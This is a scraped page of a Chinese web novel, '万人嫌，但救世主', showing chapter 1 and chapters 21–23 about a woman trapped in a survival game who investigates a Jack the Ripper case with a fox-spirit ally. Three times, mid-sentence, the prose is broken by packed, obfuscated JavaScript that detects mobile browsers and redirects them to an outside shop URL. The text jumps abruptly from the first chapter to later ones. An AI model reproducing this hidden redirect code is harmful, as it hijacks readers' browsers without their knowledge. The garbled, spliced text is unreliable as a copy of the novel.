《万人嫌，但救世主》 1. 雪夜便利店 《万人嫌，但救世主》全本免费阅读 雪夜，雷克雅未克。 “咚咚咚——” 逼仄狭窄的角落，宁昭的双手被绑在身后，鼻尖是浓重的血腥味。 面前的男人拿着菜刀，露出狰狞的笑，朝着她走过来。 宁昭的心快跳到嗓子眼，再次使力去挣脱手上的绳子，剧烈的痛感袭来，绳子都陷进肉里，却仍旧于事无补。 眼睁睁看着他猛地挥刀，刮过一阵阴风，下一秒就要砍下来，宁昭认命般地闭紧了双眼。 “您好，请问有没有处理伤口用的酒精和纱布？” 温润清越的男声响起，男人挥刀的动作一愣。 宁昭屏住呼吸，睁开眼，顺着厨房门的缝隙朝外面看去，发现推门而入一个长得很漂亮的年轻男人。 他肤色很白，身材高挑清瘦，头发上沾着风雪，看起来风尘仆仆。 虽然说的是英语，但看起来是亚洲人。 厨房门虚掩着，里面的灯光暗，按理说，站在外面并不能看到里面的场景。 宁昭本想弄出点动静引人注意，却不想，就在他进门的瞬间，那双倏黑的眸子突然朝厨房门缝看去，骤然与宁昭四目相对。 她的心猛地一紧，连手心都渗出了汗。 她被送进这个生存游戏，不过半个小时。 进入游戏前，她刚下活动，正坐在保姆车上看小说。突如其来的刹车与冲击让她下意识闭眼，耳旁是震耳欲聋的碰撞声，大脑还没来得及反应便已经失去意识。 醒来后，她就已经来到了这个游戏世界。 【欢迎来到虚妄之都。】 【您已解锁金手指——世界地图系统】 【游戏期间，您可以通过世界地图到达任意地点，使用次数无上限。CD期：每使用一次后，您的地图会消失。只有再找到一张地图，才能继续触发该技能。】 【Ps：最多可带三名队友一同使用。】 面前出现了几行系统自带的金字，随之落下的，还有一张世界地图。它轻飘飘地在空气中摇晃盘旋，随后稳稳掉落在她手边，卷起一阵细小的微风。 “世界地图……” 她低声念出这行字，伸手拿起地上的地图，却不想手指不小心碰到了地图上的某个点，下一秒，她就被吸进地图，送到了这个雪夜中的便利店。 哐当一声巨响，她被重重摔到地上，疼得龇牙咧嘴，好一会才起身。 夜风瑟瑟，门外是铺天盖地的风雪。她穿得单薄，冷意透过肌肤钻进四肢百骸，冻得整个人都清醒起来。 “这技能是真有用啊。” 现实世界还是燥热的三伏天，此刻已经犹如身处冰窖。 这巨大的温差让宁昭意识到，她确实是触发了系统的金手指，被送到了一个她完全陌生的地方。 她抱紧双臂，四处打量，发现这是一个平平无奇的便利店。 唯一的特点可能就是摆放在货架上的物品，都是些国外的牌子，上面印着她看不懂的文字。 除此之外，鼻尖还隐约飘过些血腥的气味。她顺着气味看过去，发现便利店最里面有个掩着门的房间，幽深黑暗，看着让人心底发怵。 味道就是从这里散发出来的。 脑海里顿时警铃大作，第六感让她立刻迈动脚步往便利店的出口走，然而还是为时过晚。 不知何时出现的佝偻着身形的便利店老板已经将门关好，手中绷着一根粗绳，看向她，露出了一个诡异的微笑。 …… 说她倒霉吧，出了车祸之后被送进了无限流游戏副本，总比死了好。 说她幸运吧，一进副本就碰上个变态连环杀人犯，别说是通关了，她整个人被绑起来，连动都动不了。 厨房里的血腥味很重，她被扔在地上，看着灶台上放着的碎肉，想到那可能是什么东西，心里泛起一阵恶寒。 说不害怕是假的，但光害怕也没用。冷静下来，想到刚才触发的技能，她定神，趁着老板处理碎肉的功夫不停观察着这个房间，终于在门板后看到一张被塞在置物篮里的世界地图。 只要拿到它，就可以离开。 但她实在是找不到机会。嘴被堵着，她连说话的权利都被剥夺了。 直到男人的刀快要砍到她头上，她都已经做好喝孟婆汤的准备了，沈书言的忽然出现，才让局面有了些许破解的可能。 进门后，沈书言扫了宁昭一眼，又收回视线，动作快得像是没有看到她。 “酒精和纱布？” 老板把刀放下，走出厨房，露出笑脸，不动声色地走到门旁：“那货架里面有，你去瞧瞧？” 说着，他指了指最里面那个靠近厨房的架子。 便利店并没有收拾得很干净，灯光很暗，从沈书言的位置往里看去，只能看到胡乱堆放在货架上的物品，也不知道里面到底有没有他说的东西。 沈书言看了老板一眼，发现他与卷帘门之间的距离又近了些。收回视线，他不动声色地点头：“好，我去看看。” 说着，他长腿迈过堆积在货架过道间的杂物，往最里面的货架走去。 老板看到他毫无防备的背影，阴恻恻一笑，转过身便去锁门，全然不知沈书言已经从一旁的货架上顺了一把小刀。 通过缝隙，他的小动作全都落在了宁昭的眼里，以至于他将小刀扔到她手边时，她能将它稳稳接住，没发出半点声响。 虽然不知道这个男生是什么来头，但很显然，他知道她的处境——他是来帮她的。 没有功夫思考太多，拿到小刀的瞬间宁昭就开始自救，费力地用这把小刀切割着手腕上绑着的粗绳。 “咔——” 门口传来卷帘门落下的声音。 沈书言弯腰挡住厨房的缝隙，伸出手在面前的货架上翻来翻去，一副没注意到异常的模样：“老板，我怎么没有看到？” 老板转身，拿过货架上的一条粗绳，双手背后将它拽紧。 他一步一步走近沈书言，声音温和：“是吗？哦，孩子，我记得就在那个货架上。应该在最下面一层，你再仔细看看……” 沈书言闻言颔首，蹲下了身子。 侧眸一看，发现宁昭已经割断手上的绳索，正在弯腰解开脚踝上的桎梏。 此时，老板已经走到沈书言的身边，手中的粗绳渐渐靠近他的脖子。 他布满皱纹的脸上露出得逞的笑，心中已经在为自己又添一个战利品而欣喜若狂。 然而，就在下一秒，沈书言抬手，一根修长的手指轻轻压在了绷紧的绳索上，明明没用力，却让老板的动作寸步难行。 老板的笑容立马僵在脸上。 “老板，你家店里，根本没有我要的东西吧。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12872947|135126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头一次这样和男人说话，宁昭觉得好奇怪。 但正是因为沈书言在外面，她这一夜才睡得无比心安。 * “我整理了几个开膛手可能会有的特点，等会见到受害者孩子的时候可以看看他们有没有这些特征。” 摇摇晃晃的马车里，宁昭手里拿着工作笔记，将自己写好的内容一一读给沈书言听。 “我观察了受害者们受伤的照片，发现她们的伤口切面都很一致，尤其是颈部的伤痕，都是从左到右被划伤的，所以开膛手杰克应该是个左撇子，并且对刀具的使用十分熟悉。” “除此之外，他应该还是个很了解解剖知识的人，毕竟有几个受害者的内脏都被剖开，没经验的人是很难在短时间内做到这种程度的。” 说到这里，宁昭看向沈书言：“我们到时候可以从这个角度来试探。” 沈书言点点头：“除此之外，他应该是个体力很好的人，并且应该有固定的职业，但是社会存在感很低。” 把信息整合到一起，对接下来的查案也许有一定的帮助。 宁昭看着沈书言眼底的青黑，不禁挑挑眉：“昨天后半夜没睡好吗？还是我的沙发太小了？” “……还好。” 沈书言依旧很淡定。 宁昭对此笑了笑，没有再说话，心里揣着明白装糊涂。 今天要去的是伦敦周边的一个乡村小镇。那些受害者抛弃家庭来到伦敦，留下可怜的丈夫和孩子在乡下，连到死都没有见过他们最后一面，不免让人感到唏嘘。 只是马车的速度很慢，和现代交通工具根本没法比，短短的路程一直行驶了三个小时才到达目的地。 虽然可以用地图快速到达，但想到沈书言目前的状态，宁昭还是没提这一茬。 这么久的路途，全当是看风景了。 来到一幢乡村小屋前，宁昭看了看门牌，确认是这家人没错后，这才按响了门铃。 很快就有人来开门。 来人是个十五六岁的小孩，他长得很平凡，方脸上有淡淡的雀斑，但五官却很深邃，只是那双碧色的瞳孔看起来很阴郁，让人下意识感觉这是个不善言辞的孩子。 他走到矮小破败的木门前，看到宁昭和沈书言，有些疑惑：“先生，小姐。你们找谁？” 他们今天穿的是常服，不是军装。即便如此，从他们的穿着打扮上来看，也能看出他们不是普通人。 由此，男孩对他们说话的语气十分尊敬。 “请问伊丽莎白·凯西是你的母亲吗？” 沈书言开门见山，率先出声。 听到这个名字，男孩眼中一闪而过厌恶与愤恨。随即，他摇摇头，恶狠狠地尖叫起来：“她不是！我没有那样的母亲！” 看到他如此抵触，宁昭心一惊，连忙柔声道：“安东尼，我们并没有恶意，只是想了解一些信息，可以吗？” 也许是宁昭脸上柔和的表情打动了他，安东尼的情绪稳定下来，但脸色依旧不是很好：“我还要去做农活，没有太多时间。” 随后，他又想了想，终于还是伸手拉开木门的插销：“好吧，只能一会儿。” 看到他伸手的动作，宁昭一顿，伸手拉了拉沈书言的衣服。 他好像是个左撇子。 21. 雨夜警探 安东尼没发现他们的异常，侧身朝他们让开了一条路。 英国的乡村仍然保留着旧社会的气息，大概是远离城市的缘故，这里的空气比伦敦好很多，隐隐约约也能看见些太阳。 工业革命促进人口增长，于是农产品的需求量激增，乡野间大片大片都是被开垦的荒地。 在这样的环境下，有些富裕的农民已经开始利用机器来施肥浇水，而安东尼家门口却仍然只有一眼望得到头的小片菜园，种出来的粮食大概只够家庭的日常生活，卖不了什么钱。 在这个时代，贫穷的农民阶级只会更贫穷。 安东尼的母亲也许就是接受不了这样的恶性循环，才毅然决然抛下丈夫和孩子离开了这个家。 屋子里很暗，微弱的光线打进来，照亮家具上的灰尘，空气里都是贫穷的味道。 “抱歉，家里很乱。” 安东尼把横在门口的水桶拎到一旁，又费力搬来两个木凳，拿抹布擦干净。 在他动作间，宁昭一直在悄悄观察他。 一个人的习惯会隐藏在他下意识的动作里。 安东尼在做这些事时，用的都是左手。 “家里只有冷开水，可以吗？” 想拿些东西出来招待，但想到家里连杯热牛奶都没有，安东尼有些局促，白皙的脸颊因为不好意思而染上红晕。 “没关系的。” 宁昭朝他笑笑：“我们问几个问题就走，不必麻烦。” 听到这里，安东尼点点头，还是去倒了两杯水，放到沈书言和宁昭的面前。 “贸然打扰。我们是伦敦爱心社区的工作人员，这次前来叨扰是想了解一下你们目前的生活状况，还有你母亲伊丽莎白的一些事情。” 感觉安东尼对冷着脸的沈书言有点抵触，宁昭给沈书言递了个眼神，示意她来交流。 她的语气很温柔，这确实让安东尼放下心来。 他垂眸，卷翘的睫毛投出一小片阴影，也遮住了他眼底晦涩的神情：“家庭状况就在这里，你们也看到了。” “家里一直都很穷，就算我日夜努力劳作，交完地租后家里也不剩几个钱了。但好在父亲最近在酒厂找了一份工作，帮厂长酿葡萄酒，生活渐渐好了起来。” 说话时，安东尼的手一直抓着自己的裤子，神情很不安。 但这并不是因为心虚才表现出来的不安，而是出自于对自己原生家庭的羞赧。 “你的母亲……” 虽然知道这样说会刺激到他，但是宁昭不得不问：“她是一个怎样的人？” 大概是给自己做了些心理建设，再次提到伊丽莎白时，安东尼的脸色没有那么难看了，只是语气间依旧有隐隐的埋怨：“她是一个虚荣的女人。自私、自利，所以她离开了我和父亲，一个人到伦敦去过好日子。” 听到这里，宁昭眉心一蹙：“你知道她在伦敦过着什么样的生活吗？” 安东尼摇摇头：“她死之后，有伦敦的警察过来找过我，告诉我她被杀了，其他就没说什么了。但说实话，我并不意外。那样一个冷血的女人，其实很容易招人怨恨。” 看样子他还以为他母亲在伦敦过着花天酒地的幸福生活。 听到这里，不知为何，宁昭心里有些触动。 “你有去过伦敦吗？” 见宁昭发愣，沈书言自然而然地接过话头。 听到这话，安东尼笑笑：“我连车票都买不起。” 观察到这个程度，宁昭几乎已经断定，他不是凶手。 哪怕是心理素质过硬的杀人魔，也不会有能骗过专业演员的精湛演技。只要心里有鬼，多多少少会露出一些蛛丝马迹。 “好，我知道了。今天只是一个简单的回访，感谢你的耐心。” 宁昭起身，把一个牛皮纸信封放到他桌上：“这是社区的一些小心意，请收下吧。” 安东尼看着那信封，一时愣住了。 从安东尼家出来时天色还早，但他们还有第二个任务。 另一个受害者的老家在隔壁小镇，距离这里不是太远，顺路刚好可以完成第二波走访。 很快到达目的地，来开门的是个英国姑娘，她长得很漂亮，名字叫卡丽。 “哦，你们是来找我的吗？” 她的性格很开朗，看到陌生人眼底也没有戒备，一副无忧无虑的模样，给人一种她生活得很好的感觉。 她身后是一幢二层楼的小洋房，坐落在大片的田野里显得有些突兀，却也能让人看出，她的家庭条件是比较好的。 宁昭照例自报家门，说明了自己的来意。 听到她提到母亲的名字，卡丽的眼底划过一丝不自然，不过很快就消失不见。 她语气轻快：“哦，当然可以，请进来说吧。” 刚下过一场雨，泥地有些泥泞，宁昭踩着靴子却仍时不时陷入泥中，沈书言顺手扶了她一把，这动作落入卡丽的眼中，她不禁发出清脆的笑声。 “你们是情侣吗？他长得好帅，而且看起来很关心你。” 走进房子，卡丽靠到宁昭耳边，悄悄说了这么一句。 “我……” 宁昭瞳孔地震，刚想出声澄清，就被沈书言的声音给打断了。 “家里还有其他人在住吗？” 宁昭奇怪地看他一眼。 刚才在安东尼家怎么没见他这么主动去聊工作。 “有的，家里还有我的父亲、继母和弟弟。” 带他们到客厅坐下，随后她便小跑着去厨房，给他们准备热牛奶。 趁着这个功夫，宁昭上下打量了屋内的陈设，发现这家庭条件还不是一般的好。 木质地板、水晶茶几，是放在现代都不显过时的欧式装修，阳台的角落里还蜷缩着两只棕色的小狗。 在这样的环境下，应该不用考虑温饱问题。 两杯热气腾腾的牛奶放到了桌上，卡丽在一旁坐下：“想问什么就问吧，我知道的都会告诉你们！” “我是想问些和您母亲有关的事。” 宁昭露出一抹抱歉的笑：“不好意思，提到了你的伤心事。” 卡丽缓缓摇头：“她离开也许有她的理由，我不会去责怪她。” 宁昭倒是意外她的坦然：“在她离开之前，你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12885288|135126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们的关系好吗？” “好。” 卡丽如实回答：“只是她的神情总是很忧郁，我知道她的心不在这里，于是她离开时，我并没有阻拦她。” 心比天高，所以想去伦敦碰一碰运气，却没想到这个时代女性的地位依旧很低，哪怕是到了伦敦也不能讨个好生活。 最后只能被迫成为妓女，落得被谋杀的结局。 看起来，卡丽并不埋怨母亲远走高飞，倒是有点愧疚。如果当时她能拦着她，也许结果会更好一点。 “你刚刚说继母，这是什么时候的事？” 沈书言看到墙上挂着一张黑白全家福，出声道。 “哦，那是两年前的事情了。” 卡丽依旧带着微笑：“母亲离开后，父亲在工厂里上班，遇到了工厂主的女儿，也就是我的继母。他们结婚后，继母还生了个弟弟，今年才一岁。” 从被害者孩子的角度来看，这个女孩已经可以排除嫌疑了。除了没有动机之外，她的各方面细节也和凶手对不上号。 这时，外面忽然开始下大雨。 “天气总是阴晴不定，不是吗？” 卡丽赶紧起身去关窗户：“你们是从伦敦来的，今天还要赶回去吗？在我家住一晚吧，楼上还有一个空房间。” 一个？ 宁昭对这个词很敏感。 看来卡丽是真的把他们俩当情侣了，连留他们过夜也没想过把他们分在两个房间。 不知道为什么，宁昭的心中并不抵触，但多多少少还是觉得有些不妥。 “谢谢，我们可以支付报酬。” 沈书言再一次主动说话：“天色晚了，还下着雨，再回去不太安全。” 其实我们可以用地图回去，而且半分钟就能到达目的地，包快的。 宁昭在心底腹诽，最终却还是没说这句话。 虽然只剩一个房间，但好在房间极为宽敞，里面有一张很大的双人床，还能连着窗外的阳台，随时随地都能出去呼吸清新空气。 小雨还在下，只是雨势不大，滴滴答答的雨水顺着屋檐滴下来，面前是开阔的农田与旷野，看着倒还算雅致。 宁昭正在思考沈书言这么做的原因，忽然，她的目光中闯入了一抹瘦高的身影。 那人一身黑衣，从树从中走出来。 直到黑色的斗篷出现在他身后，宁昭心一紧，还没来得及出声，那人便像感应到宁昭的视线似的，缓缓抬起了头。 她看到的是昨天夜里出现在他们面前的黑衣斗篷男。 此刻，他悄无声息地出现在卡丽家的门口，脸上依旧戴着面具，就这样看着阳台上的宁昭。 宁昭下意识想去叫沈书言，却在这时看到男人缓缓抬手，朝她比了个“2”。 那动作诡异得像机器人，宁昭立马回神，出声叫人：“沈……Vincent，你快来一下！” 那男人也听到了宁昭叫人的声音。 他迅速收回手，像昨天夜里那样飞快转身离开了卡丽家门口。 当沈书言来到阳台的时候，刚才的树下已经空无一人，看不到半点活人的身影。 22. 雨夜警探 “就站在那儿。” 宁昭指了指不远处的树，抬头看向沈书言：“还比了个……” 说话间，她朝他比了个“2”。 看到她这副模样，沈书言不自觉想笑，但最终还是忍住：“先进来，把阳台门锁上。” 宁昭点头照做，进屋时发现床上的被单已经被铺好了。 显然，刚才沈书言在房间里就是在忙这件事。 有沈书言在，宁昭稍微定下心来：“我们要离开吗？其实……” 如果斗篷男是一路尾随他们过来的话，那利用地图就可以轻松甩开他。 只不过治标不治本，他知道宁昭的家在哪里，想找她的话根本跑不掉。 “已经太晚了。” 沈书言把枕头放好，轻轻拍了拍：“当然，如果你待在这里害怕，我们也可以走。” “我不害怕。” 逆反心一下就被挑起，宁昭把窗帘拉上：“那就不走了。不过公平起见，今天你睡床，我睡沙发。” 她不想占了沈书言的便宜。 “今晚我们睡一起。” ……？ 宁昭不敢相信自己的耳朵。 往床上一看，他可不是往床上放了两个枕头吗。 “可是你自己说过的，男女授受不亲啊！” 宁昭震惊沈书言这种闷葫芦竟然能说出这么倒反天罡的话来。 “我说过吗？” 沈书言思索了一会：“我不记得了。” “行。” 宁昭没多纠结就答应了。 倒也不是因为别的，就是宁昭想到自己兢兢业业活了二十五年，还没和男人同床共枕过就出了意外，多多少少觉得有些遗憾。 现在虽然进入了这个无限世界，但总归和现实不同，能不能回去都是个问题，还是及时行乐再说。 看到宁昭这么坦然地接受，沈书言倒是有些意外。 他咳了一声：“主要是为了安全，我才会这样说。你放心，我铺了两床被子，不会占你便宜，你晚上可以放心睡……” “你叽里咕噜说什么呢？” 他的声音忽然变小许多，宁昭听不清，索性走到床边，离他近了点：“再说一遍？” “听不清楚就算了。” “你这人……” * 夜里，宁昭翻来覆去睡不着。 虽然沈书言确实铺了两床被子，两个人之间也没有任何肢体上的接触，但那萦绕在她鼻尖的冷香味与男性荷尔蒙气息却无时无刻不在折磨她。 “睡不着？” 仿佛是感受到宁昭的躁动，黑暗中，沈书言轻声问了这样一句。 “你不也一样没睡着。” 宁昭脸颊有些烫，但仍然在故作冷静。 原以为能坦然接受这件事，没想到当她躺到床上，直至感觉身边凹陷下去一块时，宁昭就有些克制不住她的心跳。 她伸手摸了摸发烫的脸颊，努力稳住呼吸：“我只是担心斗篷男会突然来袭击。不是经常有那种桥段吗？电影女主在床上睡觉的时候发现有个人站在自己床头……” 说着说着，宁昭声音小了下去。 好像越说越有种此地无银三百两的感觉。 “有我在，不会的。” 沈书言应声：“睡吧。不是说数羊管用吗？” “是啊，你睡不着也可以数。” 宁昭只当沈书言是在跟她闲聊。 “嗯，我已经数了很多只了，但还是没睡着。” “哦，那你数了多少只？” 她顺着他的话问。 “6824只。” “……？” 几乎是一瞬间，宁昭感觉自己身上的鸡皮疙瘩都起来了。 她猛地转身，伸手去探沈书言的额头：“你再说一遍，多少只？！” “嘘。” 沈书言握住她的手，将她的手放在了他的胸口：“我不能说。” 原来他什么都没忘，原来是真的有难言之隐。 宁昭的呼吸变得错乱，脸颊的温度也变得更烫人。 想到身边就是那个曾经和自己出生入死的队友哥，她感觉眼眶湿热，好像下一秒眼泪就要掉下来。 但是她闭上眼睛，硬生生忍住了。 “所以睡吧，不要怕。” 直到耳边传来他低低的声音，她的手掌下还能体会到他蓬勃的心跳。 宁昭终于感觉到一股前所未有的踏实感。 听到身边传来平稳的呼吸声，沈书言的目光终于落在宁昭的脸上。 这两天她一定累坏了。 顶着别人的身体与压力，一个人独自承担了那么多。 也许是真的心疼，他刚才竟然想也没想地就把自己隐瞒了这些天的事情给隐晦地坦白了出来。 不过他不后悔，再装也装不下去了。 这时，窗外传来细微的咔嚓声。 沈书言将她的手放进被子里，又轻轻帮她掖好被子。 做完这些，他打开阳台门，在外面贴了张符纸。接着便踩上栏杆，动作轻盈地跳了下去。 门口传来动静，沈书言飞快化身一只白色的狐狸，不给对方任何反应的时间便冲了出去。 那人看到来人是沈书言，想翻墙的动作立刻止住，转身就往树林里冲。 然而人的速度再快也终究抵不过狐狸的灵敏，还没跑几百米，那人便感觉自己脖子间缠了一根柔软的尾巴。 他伸手想挣脱，但尾巴已经绕着他的脖子紧紧锁喉，扼住了他的呼吸。 巨大的拉力将他扯落到地上疯狂往后拉，直到男人快要呼吸不过来，脖子上紧紧缠绕的尾巴才终于松了些。 他大口喘息着抬头一看，对上的赫然是一双冰冷的金色竖瞳。 “沈书言，在这个副本里，你不能干涉和扰乱她的行为……” 男人的声音从面具下传来，恶狠狠的，听起来有些气急败坏。 “所以我现在在干涉的是你的行为。” 沈书言已经回到人形，那张总是平静无波的脸上终于露出一抹嘲讽的笑：“我还以为你的计划有多高明。半夜爬墙头，你不觉得丢人么？” 语气里全都是对斗篷男低劣手段的轻蔑。 “……我的对手不是你！” 那男人语气恶劣：“放开我！” 沈书言手里不知什么时候多了一把小刀。 他挑开男人的面具，一张英国人的面孔出现在他面前，蓝色的瞳孔中满是愤恨。 沈书言用刀面轻佻地拍了拍他的脸：“这把刀是你扔到她家楼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12903621|135126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下的吧？” 男人气得脸涨得通红：“你现在这样是在扰乱游戏秩序！” “也不是一天两天了，你还没习惯吗？” 沈书言俯视着他：“我该提醒一下，你也扰乱了秩序。游戏只让你给她提供线索，从没让你杀她。” “呵……” 男人冷笑：“但游戏也没说我不能杀她。你能保护她到什么程度？你死不了，她可不一定。” 听到这里，沈书言的眉间敛起冷意。 借着月光，躺在地上的男人可以看到沈书言的脖子上已经出现了一些开裂的血痕。 “你看，说了不该说的话，现在不就遭报应了吗？” 虽然整个人被压制住，但男人依旧嘴硬，梗着脖子反击：“这只是游戏给你的小惩罚，要是你继续无视规则，死的就会是你那个女……唔！” 沈书言懒得再听，手起刀落就将刀插进男人的肩颈里，疼得男人下意识想大叫，却在出声的前一秒被另一只尾巴死死捂住了嘴。 “唔……” 男人脸上血色尽失，开始痛苦挣扎，沈书言却在这时猛地把刀拔出来，血液就这样溅到了他脸上。 男人痛得快晕过去，却始终发不出任何声音。 “安静点，刚睡着，别把人吵醒了。” 沈书言笑笑，把刀刃上的血液抹到他的脸上：“好好当你的npc，再让我发现你搞这些小动作……” 说到这里，他把刀立起来，刀尖往他眼皮上戳了戳，又很快收了回来：“我不会放过你。” 语罢，桎梏男人的尾巴骤然松开，他痛得直不起身来，只能躺在地上无助地呻吟。 沈书言起身，居高临下地看了他一眼。 熟睡中的宁昭又怎么会知道，沈书言在无声无息中帮她处理了一个本不该存在的安全隐患。 * “你的脖子怎么了？” 回伦敦的马车上，宁昭眼尖地看到沈书言大衣的领口下有些许血色的痕迹。 她不禁拧眉，伸手想扒拉他衣服看一看，却被他止住动作：“没事，过两天就好了。” “昨夜是不是发生了什么？” 从起床开始，宁昭就一直在想问这个问题。 “昨天阳台好好锁着，没有人来。” 沈书言的表情一如既往地冷漠，但语气比往日柔和许多：“不要紧。” 看到沈书言的态度，宁昭多多少少也能猜到，这可能和他昨晚自爆身份有关。 心里有些愧疚，她看向窗外，很长一段时间没有说话。 这个副本并不如上个副本那样危险，但日子一天一天过去，如果再继续像现在这样停滞不前，保不准会出现什么新的状况。 对未来迷茫担忧的同时，昨天斗篷男给她比“2”的画面也沉甸甸地压在宁昭的心头，久久挥散不去。 不知为何，她总觉得这不仅仅是挑衅。 回到伦敦，宁昭打算把这两天了解到的口供录入档案，却在到达总部后得到一个新的消息。 就在今天早上，新闻社收到了一封用红墨水写的、来自开膛手杰克的明信片。 卡片上只有短短两行字，却足够叫人毛骨悚然。 “2天后，会再死两个低贱的妓女。 ——调皮的杰克。” 23. 雨夜警探 看到明信片时，宁昭头皮发麻。 红墨水留下的钢笔字迹凌乱不堪，花体英文写得龙飞凤舞，只是短短两行字就足够看出写字者的嚣张气焰，好像他压根就没把警方放在眼里。 而这样的字迹，和三年前开膛手杰克寄来的信上的字迹，几乎一模一样。 但让她觉得不安的原因却不是这个。 她清楚地记得她曾见过这样的字体，却忘了到底是在哪里见过。脑海里只有断断续续的片段，凑不出一个完整的画面，仔细想也想不起来。 除此之外，还有一个很让她在意的点。 那就是明信片中用阿拉伯数字写出来的“2”。 “是不是想到了什么？” 耳边忽然传来沈书言的声音。 她抬头看他，发现他此时的目光也落在了明信片上。 两秒后，他看向宁昭，伸手对她比了个“2”。 看到这动作，宁昭一个激灵，立马伸手握住沈书言的手指硬生生按下去：“我知道，你不用提醒我。” 她已经知道了，沈书言不能在明面上给她任何指向性的提示。 她不想让沈书言再受伤。 看到宁昭紧张兮兮的模样，沈书言不自觉弯了弯唇角。 看着手里的明信片，宁昭再一次陷入了沉思。 之前只是合理怀疑，现在几乎一锤定音。 这具身体的原主，也就是Bridget女士，与这件案子有着非常重大的联系。 这时，办公室门口传来敲门声，两人顺着声音看去，发现来人是阿诺。 “警司，宠物救助中心的赛拉小姐送了封信，说那天生病的小猫有一只去世了。” 阿诺有些抱歉打断了他们的对话：“请问今天下班要过去一趟吗？我去备车。” 原本宁昭也想去看看，被阿诺这么一问，她当然顺水推舟同意了：“去。今天我和Vincent警司一起去。” 听到这里，阿诺愣怔片刻，随后点点头：“好的，我知道了。” * 将这些天发生的一切诡异事件结合到一起去想，宁昭这才意识到有多少不合常理的地方。 进行心理治疗、救助宠物、梦游症……这一切看似正常的生活轨迹，放在一起说，又有种淡淡的违和感。 就拿救助宠物来说。 以Bridget的经济条件，她完全可以在小动物们去世前就帮它们看病开药，为什么她偏要等到它们去世之后才过来帮助赛拉殉葬它们的遗体？ 看到赛拉再一次将小动物的尸体放进她怀里，宁昭终于问出声：“她上次看起来还很健康，怎么这么快病情就恶化了？” 赛拉摇头：“爸爸说它表面看起来正常，但实际问题很严重，已经救不回来了。” “你父亲……” 听到这里，宁昭意识到她好像从来没有见过赛拉口中的父亲：“他现在人在哪里？” “爸爸在城里工作，还没回来。” 赛拉一脸怜爱地看着宁昭怀中的小猫，伸手摸了摸它冰冷的身体：“如果不是有他的工资支撑，我没有能力收养这么多可怜的小东西。” “……原来是这样。” 宁昭点点头，没让她看出她的异常，不动声色地出声道：“放心交给我吧，我会好好安葬它。” 带着小猫的尸体走出救济中心，沈书言和阿诺正站在马车边上等她。 回到车旁，沈书言伸手拉她上车，宁昭顺势坐进车里。 这时，阿诺探头进来：“警司，去墓场吗？” 听到这话的瞬间，宁昭的脑海里突然闪过一段记忆。 “阿诺，我记得上一次从救助中心出来时，你问我的是要不要回家。” 而不是要不要去墓场。 他是一直跟在Bridget身边的人，既然会问出那样的问题，就说明曾经的Bridget女士会在离开救助中心后，将小动物的遗体带回她自己的家里。 上次她没注意到话中的细节，这次却发现了异常。 “是的，警司。” 阿诺回复得很快：“您曾经都是直接回家，到第二天才去埋葬小动物的遗体。” 他的话证实了她的推测，但这到底是为什么？ 破碎的画面出现在宁昭的脑海中，她却没办法将它们串联到一起。 直到沈书言冷不丁出声：“那天你发现的刀，我还没送去化验。明天到总部时你记得提醒我一下。” 没头没尾的一句话，宁昭听着一愣。 短短几秒后，她灵光乍现。 “阿诺，快去墓场！” * 准确来说，Bridget埋葬小动物的地方并不在墓场，而是在它旁边一块未被开垦的荒地里。 这里环境偏僻且静谧，是殉葬的绝佳环境，一望无际的土地上隐隐可以看到几个土坡，里面应该就埋着小动物们的尸体。 有了沈书言，办事效率高了不少，他们很快就挖出一个坑，把已经冰冷的小猫安葬在了里面。 做完这一切，宁昭起身看向阿诺：“阿诺，之前都是在哪里埋的？我不太记得了。” 闻言，阿诺往不远处指了指：“那里几个土坡都是。” 看到他所指的方向，宁昭走过去，手套都没摘，又蹲下身开始挖土。 沈书言也走过来和她一起挖，直到隐隐的恶臭味在空气中蔓延开来，宁昭眉头紧锁，不自觉屏住了呼吸。 还好现在是冬天，每天都是零下的低温，这才让动物腐烂的速度没那么快，弥漫在空气中的刺鼻味道也显得不那么令人难以接受。 一只被埋葬的小狗尸体渐渐显露出来，它孤零零地躺在坑洞里，乍一看没有什么异样，但当沈书言将它抱出来后，宁欢几乎立马就发现了它的不对劲。 “你看他肚子……” 看到眼前的一幕，宁昭伸手指了指，眸中闪出些不可置信。 小狗的肚子上赫然是一道被缝合得像蜈蚣一样的伤疤。它从颈部一直蔓延到腿下，看起来狰狞可怖，一看就知道是人为的。 真相渐渐浮出水面，宁昭的心扑通扑通直跳：“你有刀吗？” 将小狗放到地上，沈书言摘下手套，从怀里掏出一把折叠小刀。 “我来吧。” 他将小狗的身体翻过来，刀刃对准它的肚子。 场面有些血腥，宁昭下意识不敢去看。 然而，预想中内脏流一地的画面却并没有出现。她眼睁睁看着沈书言剖开小狗的肚 